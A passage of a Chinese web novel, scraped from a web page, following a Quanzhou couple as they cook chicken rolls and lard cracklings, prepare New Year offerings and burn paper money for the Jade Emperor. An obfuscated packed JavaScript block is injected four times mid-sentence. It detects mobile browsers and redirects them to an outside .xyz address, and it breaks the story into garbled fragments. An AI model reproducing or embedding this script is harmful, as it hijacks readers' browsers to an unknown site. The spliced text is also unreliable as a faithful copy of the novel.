到了厨房，许东山将苏月娘放了下来。 难得一天厨房里没有被忙碌的大家伙和堆积成山的食材的占领，苏月娘还有些不习惯。 “我去煮点米粉，你去给哦屁做饭。” “跟娘过来！娘给你做有肉的饭！”苏月娘朝着哦屁招招手。 许东山看着刚刚还追着自己跑的小狗这会儿围着苏月娘一个劲儿地转，不禁失笑。 一刻钟之后，两个大人和小黑狗都吃上了自己的饭，饿了一天的哦屁大口大口地舔着它的狗饭，肉汤都飞溅到了地板上。 今日还需做鸡卷，眼瞧时候不早了，两口子也顾不上闲聊了，米粉稍微凉了之后便呼噜呼噜地嗦了起来。 两人一前一后地吃完米粉后，便开始了剁猪肉、葱花和马蹄。 鸡卷虽然名字里有鸡，但却和鸡没有半点关系，之所以叫鸡卷，只是因为其做成之后，模样肖似鸡脖子而得名。 和碗糕一样，鸡卷也是会熟人之间相互送的，所以许东山备上了三斤二肥八瘦的梅花肉、一斤马蹄、一斤红葱头绿葱和三两头层干豆皮。 许东山力气大，负责剁肉，剁马蹄葱的事情就由苏月娘来做。 厨房里咚咚咚咚地响起菜刀落在木头案板上的声响，刚吃完饭的哦屁屁颠屁颠地跑进来了。 别看哦屁小，鼻子却极为灵敏，它往许东山脚边一趴，脑袋一直蹭着许东山的裤腿，乌黑的眼睛眼巴巴地盯着许东山一直起起落落的手。 许东山只当哦屁吃饱了想躺在自己脚上睡，便继续剁肉，没有理会它，还是当娘的心细，一眼看穿了哦屁的意图。 “你快点揪一坨肉给哦屁吃！它都蹭了你好久了！” 许东山一低头，对上了哦屁黑亮亮的眼睛和不断滴口水的舌头，他笑了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708333|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，揪了一小坨肉碎丢到一旁去，哦屁就这样毫不留恋地从许东山的脚背上跑走了。 “谁家养狗还给狗喂这么好的肉啊，你别太惯着它了！” 苏月娘哼了一声，“没办法，我们哦屁还小，就得吃点好的！” 肉碎剁好了，许东山在将肉碎放入盆里之前，又揪了一坨扔给了哦屁。 肉碎、马蹄碎、红葱头碎、葱花、一斤半地瓜粉、三颗鸡蛋一起放在大盆里，放上红葱头油、盐、糖、五香粉、料酒、生抽调味。 手劲大的许东山徒手将这鸡卷馅料用力地来回翻拌，另一边，苏月娘寻了两个大蒸笼洗干净，在底部铺上一层厚实的葱尾。 经过反复揉搓的鸡卷馅被浸润的地瓜粉牢牢地粘黏在了一起，若非刻意去掰，不然不会轻易松散。 怕哦屁捣乱，将鸡卷弄脏了，两口子特意将鸡卷馅和豆皮端到堂屋的桌上去包，吃不到肉的哦屁在爹娘的脚边急得团团转。 两口子瞧着哦屁这模样，很是不厚道地靠在一起笑了好一会儿。 不过正事可不能忘，苏月娘一边用脚逗着哦屁，一边搓起一张干豆皮放在自己面前。 这干豆皮是从豆腐作坊买的，瞧着比散户做的还好，虽说切割得不太规整，皱皱巴巴的还有些卷边，但是将这豆皮举起对窗看，能发现这豆皮薄如蝉翼，可以透光。 豆皮轻轻抻开了纵横的褶皱，平铺在托盘里，抓上一坨鸡卷馅，捏成手腕那样粗细的圆条，水平摆放，将豆皮上下折一截儿包住馅，而后再翻动左右长片，慢慢地将馅条往里卷，确保豆皮紧贴在馅上面。 鸡卷多斜切成厚片食用，包太细包太粗似乎不太会影响什么，这就导致了两个人埋头包了好一会儿后，一抬头便看见了头一笼鸡卷左边的十分粗壮，右边的十分纤瘦秀气。 愣了一瞬之后，苏月娘不禁扑在许东山的怀里大笑起来。 “你这么包小心一会儿剩豆皮！” 苏月娘包的鸡卷个头算是适中，许东山对比一番，不得不承认自己的鸡卷实在是太粗壮了。 “不然我把包好的拆开，把馅拿出来一点？” “不用拆了！其实这样胖胖壮壮的鸡卷也挺好看！拿出去送人也挺好！” 许东山觉得苏月娘这话是在嘲笑自己，他皱眉，伸手就去抓起一条鸡卷来拆。 可被黏黏糊糊的鸡卷馅紧紧贴着的薄豆皮一吸水便变得尤其脆弱，许东山这大糙手一揭，这豆皮便很不争气地破了一个大洞。 许东山“啧”了一声，有点恼火。 “都跟你说不用拆了！你看皮都破了吧！”苏月娘忙去找了一小张碎豆皮，小心翼翼地贴在破洞上。 许东山自觉干了坏事，便默不作声地取豆皮，学着苏月娘的大小继续包鸡卷。 在刻意控制下，最后将近七斤的馅料和三两干豆皮被用得一干二净。 铺了一层厚厚的绿葱尾的蒸锅里挤满了横竖置放的黄色鸡卷，许东山将两口大蒸笼抬到灶上叠放着，生了火之后，便能够暂时歇息一会儿了。 在堂屋里转了一整个午后的哦屁已经累得趴在角落里睡着了，若是走近一些，还能听见呼噜噜的声响。 102. 炸鸡卷、菜包、猪油粕 鸡卷蒸两刻钟可出锅，苏月娘倚靠在厨房门边看许东山两手垫着湿抹布，一气儿地将两个大蒸笼从灶上提了起来，而后快步朝着窗边长案走去。 滚滚烟汽沿着许东山行走的方向留了一路，苏月娘朝许东山那儿走去，迈入了一片鸡卷的肉菜清香中。 不怕烫的许东山就着已经发烫的抹布再次提起上层的蒸笼，摆在一旁，正好苏月娘过来探头，他将抹布丢到一旁，很是负责任地将她往边上推了推。 “先不要吃，也不要伸手，小心被烫伤！” 苏月娘，“……我不就第一次做四果汤的时候被烫了一次，你至于记八百年了还来说我！” 许东山探身将窗子推开，让冷风钻进来，将鸡卷好好凉一凉，“我会记八辈子、八十辈子，每一辈子我都会说你。” 苏月娘惊叹地看着擦拭案台上滴落水珠的许东山，“春喜嫂说的果然没错，你这人成亲以后就变得不一样了！说！你是不是被什么精怪给夺舍了！” 忙着善后的人长臂一收，将最后一片水痕擦去，而后直起腰，幽幽道：“这都被你发现了，其实我是疯猫公（1）……” 苏月娘顿时被逗得靠在许东山的粗胳膊上笑得停不下来。 好一会儿后，苏月娘才挽着许东山的胳膊，夸他，“那你继续待在阿山的身体里不许走，他可没你有意思！” “嗯，好。”疯猫公侧过头，亲了亲她的头顶。 —— 家里就两个人，许东山和苏月娘也没心思张罗什么饭菜，就打算炸点鸡卷、炒点菜，配着稀饭简单对付一顿。 鸡卷已经冷却至温热了，许东山从蒸笼里取了两条秀气一点的鸡卷出来，其中一条切下一半递给正抱着哦屁坐在灶边烤火的苏月娘，剩下的一条半斜切成厚片，等待下锅烹炸。 哦屁瞧苏月娘正在大口吃鸡卷，忙伸长脖子，等着苏月娘给它掰上一小截尝尝味道。 鸡卷正好不会太咸，苏月娘便给哦屁掰了一小块让它也尝尝味道。 油锅正热，大门被人“啪啪啪”地拍响，随后，阿生的声音从外头传来，“干爹干娘你们在家吗？给我开开门！” 家里的开门的绳子栓得太靠后了，以阿生的个头还真没法开窗拉绳开门。 “来了来了！”苏月娘将哦屁放在地板上，小跑着去给阿生开门。 大门打开了，费劲地提着一个大竹篮的阿生站在门口喘着气，“阿嬷做了一点菜包，干爹干娘尝一尝！” 苏月娘帮着阿生提起装菜包的竹篮，再领着他进屋坐一会儿，“你来得真巧！鸡卷刚出锅呢！你顺便带回去！” 干母子俩一走近厨房，便听见油锅滋滋啦啦的声响，许东山一边往锅里下鸡卷，一边对着阿生道：“想先吃一截蒸鸡卷，还是跟我们一起吃炸鸡卷？” 成天在店里吃面线糊加鸡卷的阿生并不觉得鸡卷是什么稀罕的东西，他摆摆手，“刚刚吃菜包吃得好撑，鸡卷就不吃了。” 苏月娘寻了个大簸箕，将红姑做的菜包都摆上，白白软软泛着油光的菜包铺在干粽叶片上，不必掰开，就能闻见里头包裹着的菜脯丝和虾米的味道。 红姑一口气给苏月娘送了二十个菜包过来。 “本来还打算过两天包一点菜包应付一下的，你阿嬷这一送倒给我省了好多麻烦！” 阿生蹲在灶台边给慵懒的哦屁摸头，“也给我省了很多麻烦！” 两口子一愣，反应过来后却是相视一笑。 虽然阿生岁数不大，但他一直记得过去几年过完年后总是每天吃一模一样的东西，各家送来送去的，确实省得他年后再吃剩饭剩菜。 既然阿生不想吃鸡卷，苏月娘便着手往他提过来的篮子里装鸡卷。 “给你上层和下层各装几条鸡卷，你路过阿莲姑姑家的时候把上层的给她，剩下的你带回家和你阿嬷一起吃！” 阿生瞥见苏月娘抓起鸡卷往篮子里塞，好奇问道：“干娘，这几条鸡卷为什么这么粗？” 许东山沉默。 苏月娘，“你干爹包的。” 阿生悄悄笑，干爹原来也有不擅长的。 送走了阿生，许东山的炸鸡卷便出锅沥油了，炸得色赤又脆的鸡卷架在油锅边上，自顾自地在干脆豆皮上滋着小油泡。 趁着稀饭还没煮熟，苏月娘赶紧让许东山将油锅搬开，自己好就着油锅底下的火烧点水将红姑送来的菜包蒸了。 金乌西坠，天边炊烟。 一碟淋了甜辣的炸鸡卷、一盘圆鼓鼓的菜包还有一碗清炒高丽菜成了夫妻俩简单的晚饭。 稀饭不如干饭扛饿，苏月娘怕许东山半夜肚子饿，特意给他装了一海碗稠稠的稀饭。 许东山看着快溢出来的海碗，用手捧了一下，颇有重量，吃完肚子高低给鼓起来，“锅里应该没有了吧？” 他的饭量虽然大，却也没有大成无底洞一般要吃这么多。 苏月娘煮饭一向没什么节制，许东山当真害怕她又多煮。 果不其然，苏月娘嘴里塞着一块鸡卷，含糊不清道：“还有一小碗的量，你不够吃的话再去盛。” 许东山深重叹气，哦屁接下来两天的饭又有着落了。 “叹什么气？你帮我拿个菜包，把下面的叶子扒了，放到这个碗里面。”苏月娘将手边的小碗推向许东山。 许东山取了一个菜包过来，捏着叶子的一角，慢慢地将叶子与黏糊的糯米皮分开。 红姑在叶子里擦了油，糯米皮便不会粘黏在叶子上下不来，许东山撕掉一半，而后将菜包抖进了小碗里。 苏月娘咽下极有嚼劲的鸡卷，端起小碗，用筷子将菜包拦腰夹开，里面塞得鼓鼓囊囊的黄色菜脯丝与其他配料得以自由地滚落出来。 “你看，这料真多！”苏月娘将碗倾过去，给许东山瞧了一眼。 夹起一小撮掺了肉碎的菜脯丝再用筷子尖挑起一小块软糯的外皮，皮与馅一块儿入口，咸甜糯粉皆有。 “怎么样？” 苏月娘点头，“好吃。” “我尝一口。”这一大碗稀饭注定许东山不能多吃别的。 苏月娘虽然想劝说他自己拿一个吃，但他脑袋都凑过来了，她便只好夹上一小坨喂到他嘴里。 许东山简单尝了一下，红姑的手艺确实好，他朝苏月娘仰了仰下巴，“再来一口。” 苏月娘又给他塞了一口后，许东山顺杆子往上爬，要求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720338|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏月娘继续。 苏月娘却推他脑门，“想吃自己去拿！不许再蹭我的！” “真不给？” “不给！”苏月娘索性将碗放到左手边。 “你等着！”许东山使坏地掐了掐苏月娘的腰，苏月娘顿时眼皮一跳。 …… 二十八日晒三竿了，苏月娘才腰酸背痛地从温暖的被窝里爬起来，身旁的臭男人已然不见了踪影。 年前不仅要准备年货，更要带着贡品四处去拜拜，苏月娘揉了一会儿酸软的腿后，才想起今天要去镇子外的一处小宫庙里拜拜。 眼下起晚了，什么东西都没有准备上，等午后再去，定然会被人流挤扁。 昨日她不过就是不让许东山吃自己的菜包，许东山这个混蛋夜里就发了狠地折腾她，害得她睡到了这时才起。 苏月娘坐在床上狠狠骂了许东山两句，才下床更衣梳妆。 头发才刚盘好，不知去哪的许东山忽然推开了房门。 夫妻对视，苏月娘瞪着他骂了他两句，许东山知道自己昨晚上过分了，连忙坐在苏月娘身后，给她按摩肩膀与后腰。 苏月娘松了松臂膀，闻见一股若有若无的香火气息。 “你刚刚去哪了？” 许东山，“出去拜拜了，你一会儿就不用去了。” 听说许东山出去拜拜了，苏月娘顿时觉得他顺眼多了，又揪着他问了贡品的规格、菜色如何之后，确认无一纰漏后，她才满意。 —— 二十九，家家户户都忙着备过年的吃食。 春节总是免不了吃大鱼大肉吃到腻味，两口子一致决定趁着年前最后几日多吃些清淡的。 所以许久的不见的包菜咸饭将在今日正午再次被端上饭桌。 “刚刚回来的时候顺便买了一块猪油肉回来，正好现在把猪油熬了一会儿做咸饭。” 苏月娘看着趴在案板上的那一大坨肥肉居多的三层肉，“用猪油做咸饭听起来好像不太清淡呀……而且熬了猪油就得吃猪油粕（2）……” 许东山，“……”这样的做法确实是太不清淡了。 “用菜油！菜油清淡！” 虽说许东山觉得这样似乎也没什么太大的差别，但他还是点头了。 切好的肉片葱姜焯水去腥，切成粗片丢到熬油大锅里，添上一点点清水一起熬煮。 随着水烧干，三层肉里的黄色猪油慢慢地析出来，淹没了逐渐变扁变干的三层肉。 在一旁磨磨蹭蹭地切着包菜的苏月娘闻这猪油馋人的香气，心中不免动摇。 等这三层肉彻底瘪了下去，许东山用漏勺捞起猪油粕，搁在一旁放凉，将熬好的猪油倒在罐子里后，倾着熬油锅等挂在锅壁的猪油慢慢流淌在一起。 忙活完一阵，猪油粕也差不多变脆了，许东山试了试猪油粕的硬度后，往里撒入盐、五香粉等调料。 第一块猪油粕自然是苏月娘的。 苏月娘正忙着切包菜，便就着许东山的手咬了一口还算嘎嘣脆的猪油粕，冷却后的猪油粕干脆油香的，甚是适合做零嘴吃。 又切了两下包菜，苏月娘郑重其事道：“罢了，还是用猪油吧，猪油香！” 103. 除夕日 这一年，苏月娘和许东山成了家，只有两个人的年兜虽说比大家庭的好操办，但那些繁文缛节也难免让苏月娘这样对所有年节礼仪了如指掌的人忙得晕头转向的。 除夕天亮没多久，两口子一齐起身备过年要吃的炸物和卤料，商量着正午或是午后去祖厝里祭祖。 炸物不禁放，家里又只有两个人，所以一切就往少了准备，排骨、醋肉这类好吃易消的肉类就各炸一斤出头，芋头、豆腐、腐竹一类没什么滋味的素菜就少准备点，意思意思就成。 夫妻俩一同行动，许东山剁排骨切肉片，苏月娘处理芋头。 一会儿开炸了，厨房里免不得充满油烟，苏月娘便提前将窗子打开透气，四面八方的厝边们按各家的规矩开始操持不同的事情，窗子一打开，吃食和烧金烧香的味道便飘进了厨房。 香金自带一股香味，浅浅淡淡的，苏月娘闻着心情也好。 “现在的金纸越来越贵了，昨天下午去买的时候，那个卖金纸的还狮子大开口！要不是懒得走到镇尾那家去买，不然我可舍不得付这么多钱！” 泉州人总是从除夕一直拜到十五，昨天许东山看苏月娘提回两座小山似的金纸就觉得头疼——这意味着他不仅要准备贡品，还要挑担走远路去各大大小小的宫庙里大拜小拜。 许东山刚想宽慰她两句，苏月娘便扔下菜刀，惊叫了一声，“坏了！天金（1）还没折！” 只见苏月娘手往围身巾上随意一抹，急匆匆地往外头跑。 天金，除夕夜里要烧给天公的金纸，常常会被折成各式各样的元宝以祈求来年一家人顺顺利利健健康康探大钱。 通常天金的数量会依照家里人头而定，每人五十张，苏月娘前段时日去买天金时，默认许春喜、林大松还有小狗哦屁也是自家人，所以共买了二百五收张天金，一般天金元宝都会在除夕之前折完的，但苏月娘百忙之中将这事儿忘得彻底。 许东山慢条斯理地将剁好的排骨扫进了盆里，再去厨房门口看看苏月娘。 “你自己一个人准备吃的吧！我折金！”苏月娘动作倒是快，二百五十张金纸已经摆上了桌子。 元宝折法有许多种，但是时间紧急，且苏月娘没有耐心折难的样式，便整张金纸团成一个长筒，捏住开口处，将之往空心里一压，再捏着头尾往上一翘。 “慢慢来，别着急，一会儿我弄完这些吃的，就和你一起折。” 苏月娘冲他摆摆手，打发他去干活了。 …… 炸、卤年货是一项大工程，东西切好之后，还有相当一部分需要调糊裹浆，还没下锅炸，都已经快要中午了。 许东山见时候不早了，便两手开工，不仅一气呵成地将猪蹄、鸡卤上，排骨、醋肉、豆腐、年鱼等东西炸出锅，还煮了一锅米粉汤做中午饭。 苏月娘一边折天金，一边忙里偷闲地做其他事情，这一早上也将这二百五十个长长的元宝折完了。 这些个天金元宝凌乱地铺在地上，杂乱得叫人无处落脚，许东山将两碗米粉汤放在桌上，再小心翼翼地踩着元宝之间的空地，俯身慢慢将散落的元宝整理在一起。 五十一捆，共五捆，提到孤榻那儿堆放着，这样要烧的时候才方便。 许东山忙活完一转头，苏月娘已经拣了一碗热腾腾的炸排骨炸醋肉炸豆腐美滋滋地从厨房里走出来了。 “想歇一会儿再去祖厝，还是吃完就去？” 苏月娘嘴里含着一块炸排骨沉吟了一番，“吃完就去吧。” 接着，苏月娘继续嚼着鲜嫩多汁的排骨肉，当然了，她也没忘记往许东山嘴里也塞上一块醋肉。 …… 今天和普渡一样，镇上所有人家都会去各自的祖厝祭祖，整条街上都是挑着担赶路的人，姓许的往镇尾走，姓林的往镇头走，姓吴的往另一条街走。 小夫妻俩混在厝边们里，许东山沉默挑担，苏月娘与厝边们笑嘻嘻地聊着自家今年准备了什么年货。 除夕自是不比普渡悠闲，回去后不仅要准备晚上的团圆饭，还要准备敬天公的筵桌，所有人都是速战速决的，事情一做完就走。 比旁人稍微悠闲一些的两口子自顾自地慢条斯理着，把祭祖的事情做全乎了，才挑着东西走出祖厝。 两人走至镇中，忽然瞥见前头的小路里冒出两个熟悉的人头。 “刘叔！阿平！” 苏月娘提着手里的小篮子，脚步轻快地朝着这对舅甥跑了上去。 “本来还想去店里找你们，没想到在这儿就碰上了！还省得我俩多走两步了！” 许东山也挑担小跑追了上来，“去家里坐坐？喝点茶？” 刘昌摆手，“不了，我还有点事儿要办，就不去了，我找你们就是来送点东西的。” 说罢，舅甥俩分别将自己的手里的东西递给了苏月娘。 刘昌手里的是一副春联，阿平手里的是一大碟颜色橙红的龟形甜粿（2）。 “昨夜和几个大人一起喝了酒，我还带了你给我家送的碗糕去给大人们尝！周大人一高兴，就挥笔给你俩写下这副对联！你俩记得贴门头上！” 苏月娘受宠若惊地看着这副字体龙飞凤舞极有气势的春联，她的神情就好像是捡到了什么大宝贝一样，“有机会我一定当面谢过周大人……” “还有这个甜粿，是阿平做的，这小子倒是有意思，往里头揉了地瓜！味道挺不错的！” 许东山还是头一回知道甜粿还能这样做，虽说不知道味道如何，但作为师父，他还是很给面子地夸赞道：“样子看着不错，回去尝尝。” 阿平翘着嘴角，不掩欣喜。 “我和阿平还要去买金，就不叨扰你们了，你们先忙！” 两方互道了别，便各走各路了。 —— 年夜饭可谓是这一年到头最重要的一顿饭。 先前许东山是想做一桌子菜，但苏月娘觉得这菜免不得要吃到十五，便否了许东山的想法。 既然不做大菜，那小夫妻俩就只能吃软锅烧了。 所谓软锅烧（3），又叫打边炉，只要有一口锅，一份汤底和若干样食材就能做起来了。 最适合做软锅烧汤底的莫过于猪骨汤了，许东山一回到家便已经焯过水的两条猪骨丢到锅里，再扔上几块今天早上炸好的猪皮，倒上一锅水开始慢慢炖煮。 趁着炖汤底的空档，夫妻俩一起去后院将用来敬天公的筵桌拖到堂屋正中央横放着。 打一桶水，将落了灰的筵桌上下里外每一个角落都擦拭地干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724479|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净净之后，四只桌脚底各垫上一叠金纸，方才往筵桌上摆放贡品。 最中间的定然是一大束颜色五花八门的花，虽说泉州的花并非都会在冬季时凋谢，但是像花束里这般大这般鲜艳的花还是极为难找的。许东山悄悄问过一嘴，这花可比苏月娘昨日去金纸铺子买的金纸贵了不少。 花的周围还要摆放五牲、五果六斋、糕粿、炸物卤料、菜碗、蜜饯、三茶三水、粿合座、五路财神烛（4），以及平日里不舍得买来吃的稀罕玩意儿。 苏月娘将这些东西按照种类和大小依次排了一个合适的位置，确保筵桌最前端有一块空处，而后使唤许东山将年前新买的天公彩拿来绑在此处。 这红色绣花的天公彩（5）垂落，正好与筵桌一般长度，上方的布料用置放了的大米、面线、生面、一对精致的红烛台压着。 另在筵桌备一小矮桌，放一些吃食和一盆大米，大米粒撒上一些铜钱，这是用来犒赏天公身边小兵的供桌。 两人围着筵桌一忙就是一下午，趁着天色还没暗下来，两口子将周大人送的春联给贴上了。 当然了，苏月娘没忘记和对门林阿婆嘚瑟一番，“阿婆，你看，这是知府大人给我们写的！” 林阿婆不认字，也不懂看字，但听说这是知府大人给写的，顿时惊讶得不行。 “你们两口子还真是命好！有这样的大人物赏识你们！” 等自家的春联贴完了，苏月娘又派许东山去对门帮林阿婆将春联贴上，自己去厨房将今晚上要下锅的食材准备好。 林阿婆的女儿自然是不可能过来将老母亲接去过除夕，而红姑前几日知道林阿婆自己一个人在家，便招呼林阿婆去她家一起吃年夜饭。 许东山给林阿婆贴完春联后，林阿婆便带着一些肉菜，自行去红姑家里了。 …… 夕阳西下，两口子在厨房窗边那口小灶上支起了锅，就着今年最后一抹夕阳吃软锅烧，哦屁蹲在苏月娘脚边吃着肉多多的狗饭。 炖得发白的猪骨汤在小锅里咕嘟咕嘟地冒着大泡，充作配料的炸料、螃蟹、花蛤还有丸子随着猪骨汤的滚动而浮浮沉沉。 带着鲜香味儿的烟汽模糊了窗外的夕阳景色，苏月娘搓着手上洗不掉的红痕，靠在许东山的肩头等着东西煮熟。 她盯着外头的暖光，想着厝边家里应当是一大家子人，老老少少男男女女地围在一起吃着一桌子丰盛的年夜饭。 虽说两个人吃配料十几种的软锅烧也是一种过法，但她还是觉得自家太冷清了。 半个拳头那样大的墨鱼丸熟了，许东山给苏月娘捞了两个放在碗里。 鱼丸还烫着，苏月娘便没去碰，只是贴在许东山身上，仰头看着他认真煮料的侧脸。 外头光亮正面照来，将许东山英挺的轮廓勾勒出来，相识将近一年，成婚两个半月，这人的面相柔和了下来，从前若有若无的戾气也消失无踪了。 他和日子都越来越好，明年是极有盼头的一年。 察觉身边人歪着脑袋，一直盯着自己瞧，许东山便趁着没有东西可捞的时候转过头亲了她一下。 苏月娘笑了一下，贴着他的额头小声道： “咱们吃完先回屋忙一忙……等时候到了再出来敬天公吧！” 104. 初一日 敬天公开年的第一件大事，有的人家在天亮敬，有的人家在子时敬。 苏月娘选择在子时敬天公，并非因为她熬得住，而是因为这一年到头白日忙忙碌碌的，入了夜便迫不及待地入睡，夜半做事是少之又少。 两人酣畅淋漓地好了一番后，苏月娘便窝在许东山的怀里睡着了。 待到距离子时还有一刻多钟时，一直没睡的许东山隐约听见房子外头的喧杂声，便知道马上要子时了。 他将苏月娘喊醒，与她一起穿上干净整洁的衣裳，一起去做开年最重要的事情。 窝在床尾睡觉的哦屁不知何时醒来，追在爹娘的身后出去。 房巷里黑灯瞎火，伸手不见五指的，许东山一时没留心脚下，一脚踩在了哦屁的尾巴上，痛得哦屁委屈大叫，并跳起来隔着厚实的一层裤子，咬了许东山一口。 一家三口去到堂屋，将大门打开，对门还没睡的林阿婆已经将金桶拖了出来，瞧两口子才出来，林阿婆笑着朝他们喊道：“你们要是有什么不懂做的尽管过来问我！” 苏月娘眉眼弯弯地应道：“好。” 孤榻上方两顶为了应和年景而挂的红灯笼正发着昏黄微红的光亮，许东山站在门槛上望了一眼，确定这灯笼还能亮许久便回了屋，寻火折子将筵桌上的红烛点亮。 苏月娘瞥了一眼蹲坐在孤榻正中央仰头盯着红灯笼一直瞧的哦屁，“哦屁，你往角落去一点，省得你爹又把你尾巴给踩了。” 小黑狗能听得懂人话，它赶忙往边上挪了过去，并把小尾巴压在屁股底下。 许东山将仓库里的金桶拖出来摆在了林阿婆的金桶边上后，子时也就到了。 苏月娘取了六支香，用红烛顶上的烛火点燃了，用手扇灭明火，分三支给许东山。 哦屁看爹娘在分东西灯笼也不看了，忙跑回屋里，蹭着苏月娘的腿要苏月娘给它也分一点。 “你还太小，不能拿香！等你长大了再说！” 哦屁被这么一哄，就乖乖地去角落里静静地看着了。 “你先去拜两下吧！”许东山拍了拍苏月娘的后腰，示意她先上前去拜拜。 苏月娘笑了，“真让我先去？” 一般敬天公的顺序是年纪最大的或是当家的在前。 “一家之主第一个是应该的，去吧，别耽误时辰了！” 一家之主开心地笑着，举着她的香，跪在厚实的跪垫上对着天公祈愿，祈求的还是那几样，最后，再虔诚地磕上三个响头。 许东山与苏月娘做了一样的事后，便接过苏月娘递过来的香，脚尖都不用垫，举高了手便将香脚扎入了门头后面的灯笼（1）里。 苏月娘满意地摸了摸许东山宽阔的后背，“家里还是得有一个个高的，不然过年敬天公的时候还要踩在椅子上才能把香扎到灯笼里去。” 许东山悄悄翘了嘴角，“走吧，出去烧天金。” “来！带你去烧天金。”苏月娘对着哦屁招了招手，哦屁很愉快地跟了上去。 许东山走在苏月娘和哦屁身后，将孤榻上堆叠的五捆天金拎到了巷道里去，这天金轻飘飘的，若非体量太大，不然他一手拎也是可以的。 这天金太少了，希望来年可以再多一捆。 林阿婆也给女儿女婿还有外孙子各折了一捆，两家原都是稀少的，但放在一起倒还显得挺多的。 林阿婆给自家的天金点上一捆，再丢到金桶里烧，顺带将火借给苏月娘。 同一条巷子的邻居们也出来烧天金了，原来昏暗的巷道被火光照亮，变得暖融融的，苏月娘负责往桶里慢慢丢天金，许东山站在一旁拿棍子捅一捅金纸间隙，而哦屁蹲在桶边眯着眼睛感受着热闹与温暖。 苏月娘烧金之余，还往一旁瞧。 隔壁那家没人出来，大概是脸面丢尽，不想出来看别人异样的眼神吧。 五捆天金不到一刻钟便烧得一干二净，苏月娘从屋里取出一团鞭炮长蛇交给许东山去放，对门不敢放鞭炮的林阿婆也将自家的鞭炮委托给了许东山。 就这样，许东山拿着两大团鞭炮铺到巷子外面，苏月娘在许东山点火之前，赶紧抱上赖在桶边不肯走的哦屁跳上孤榻，并牢牢将它的耳朵捂了起来。 两排鞭炮的引线点燃，许东山快速跑回孤榻上，外头的额鞭炮激烈地炸了起来，声响热烈，这回哦屁耳朵被捂上了，倒没有被吓到，反倒津津有味地伸头看着。 鞭炮放完，敬天公的仪式便算结束了。 苏月娘带着许东山和厝边们道了新年好后，便回屋去了。 这一夜注定是鞭炮声不停的，既为了敬天公，也为了扫邪祟，迎新年。 —— 初一日，万象新。 冬日灿烂的阳光照在狗窝上，哦屁迷迷瞪瞪地睁开眼睛，抬起脑袋，盖在它后背上的厚被子就这么滑落了下来。 这是在后堂屋，不是在屋里。 哦屁委屈地哼哼了两声，跑出狗窝，挠着爹娘的房门。 屋里刚打完一仗，两口子抱在一块儿喘得都听不见哦屁的声音了，不知过了多久，苏月娘才踹了踹许东山的小腿。 “你听听，是不是有点什么奇怪的声音？” 许东山往门那边瞥了一眼，“大概是哦屁醒了。” 苏月娘哭笑不得，“你这人还真有意思，不舍得吵醒哦屁就舍得吵醒我！” “你和它能一样吗？”满脸餍足的某个人凑上去对着苏月娘的脸颊又亲又咬，还问道：“继续睡还是起来吃点东西？” 被这个可恶的男人闹了一回，苏月娘早已睡意全无，“起来吧，帮我把新衣拿来！” 两套细布做的新衣叠放在许东山那边的小柜上，一套桃红，一套深蓝。 夫妻俩拾掇过后，一个貌美如三月桃花，一个勉强算是风度翩翩。 苏月娘欣喜地拉着许东山坐在镜子前照了好一会儿。 高大的男人搂着他心爱的妻子的腰，很是风雅地说了一句，“简直天生一对。” …… 两个人如此磨蹭，磨蹭得哦屁都自己缩回狗窝里生闷气了，任苏月娘和许东山怎么哄它都不出来。 夫妻两个自己都快饿扁了，便没有太过执着于马上将生闷气的小狗哄开心，两人和和美美地挽着胳膊，去前头吃东西了。 一夜过去，筵桌上的一对蜡烛还亮着，底下还有约莫一寸可烧。 苏月娘一边满意地看着这一桌子东西，一边使唤许东山去做吃的。 新年的第一口吃食得是甜的，本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731788|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地人家多在大年初一日食用汤圆。 过年要准备的东西太多，两口子便没有自力更生地滚汤圆（2），便在昨日去街上买了十八颗大汤圆，芝麻糖馅的和葱油花生糖馅的各九颗。 许东山问过苏月娘的意见后将所有的汤圆都煮了，苏月娘六颗，他自己十二颗，并且每个人还要吃上一个水煮蛋包。 